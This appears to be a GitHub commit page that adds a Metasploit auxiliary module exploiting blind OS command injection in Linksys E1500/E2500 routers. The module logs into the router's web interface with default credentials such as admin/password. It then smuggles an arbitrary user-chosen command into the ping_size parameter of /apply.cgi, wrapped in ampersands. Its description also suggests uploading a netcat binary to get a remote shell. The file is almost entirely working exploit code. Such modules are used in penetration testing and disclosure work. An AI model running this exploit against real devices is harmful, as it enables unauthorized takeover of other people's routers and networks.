Skip to content

Commit 9fc0f9a

Browse files
author
m-1-k-3
committed
initial commit
1 parent d8f46e3 commit 9fc0f9a

File tree

1 file changed

+113
-0
lines changed

1 file changed

+113
-0
lines changed
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Linksys E1500/E2500 Remote OS Command Execution',
17+
'Description' => %q{
18+
Some Linksys Routers are vulnerable to OS Command injection.
19+
You will need credentials to the webinterface to access the vulnerable part
20+
of the application. Default credentials are always a good starting point.
21+
admin/admin or admin/password could be a first try.
22+
Note: This is a blind os command injection vulnerability. This means that you will
23+
not see any output of your command. Try a ping command to your local system for a
24+
first test.
25+
26+
Hint: To get a remote shell you could upload a cross-compiled netcat binary and exec it.
27+
},
28+
'Author' => [ 'm-1-k-3' ],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ],
33+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
34+
[ 'EDB', '24475' ],
35+
[ 'OSVDB', '89912' ],
36+
[ 'BID', '57760' ]
37+
],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => 'Feb 05 2013'))
40+
41+
register_options(
42+
[
43+
Opt::RPORT(80),
44+
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
45+
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
46+
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1'])
47+
], self.class)
48+
end
49+
50+
def run
51+
uri = '/apply.cgi'
52+
user = datastore['USERNAME']
53+
pass = datastore['PASSWORD']
54+
55+
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
56+
57+
begin
58+
res = send_request_cgi({
59+
'uri' => uri,
60+
'method' => 'GET',
61+
'authorization' => basic_auth(user,pass)
62+
})
63+
64+
return :abort if res.nil?
65+
return :abort if (res.code == 404)
66+
67+
if [200, 301, 302].include?(res.code)
68+
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
69+
else
70+
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
71+
return
72+
end
73+
74+
rescue ::Rex::ConnectionError
75+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
76+
return
77+
end
78+
79+
80+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
81+
82+
cmd = datastore['CMD']
83+
#original post request:
84+
data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
85+
86+
vprint_status("#{rhost}:#{rport} - using the following target URL: \n#{uri}")
87+
begin
88+
res = send_request_cgi(
89+
{
90+
'uri' => uri,
91+
'method' => 'POST',
92+
'authorization' => basic_auth(user,pass),
93+
'data' => data_cmd
94+
#vars_post not working?
95+
#'vars_post' => {
96+
# "submit_button" => "Diagnostics",
97+
# "change_action" => "gozila_cgi",
98+
# "submit_type" => "start_ping",
99+
# "action" => "",
100+
# "commit" => "0",
101+
# "ping_ip" => "1.1.1.1",
102+
# "ping_size" => "%26#{cmd}%26",
103+
# "ping_times" => "5",
104+
# "traceroute_ip" => ""
105+
# }
106+
})
107+
rescue ::Rex::ConnectionError
108+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
109+
return :abort
110+
end
111+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112+
end
113+
end

0 commit comments

Comments
 (0)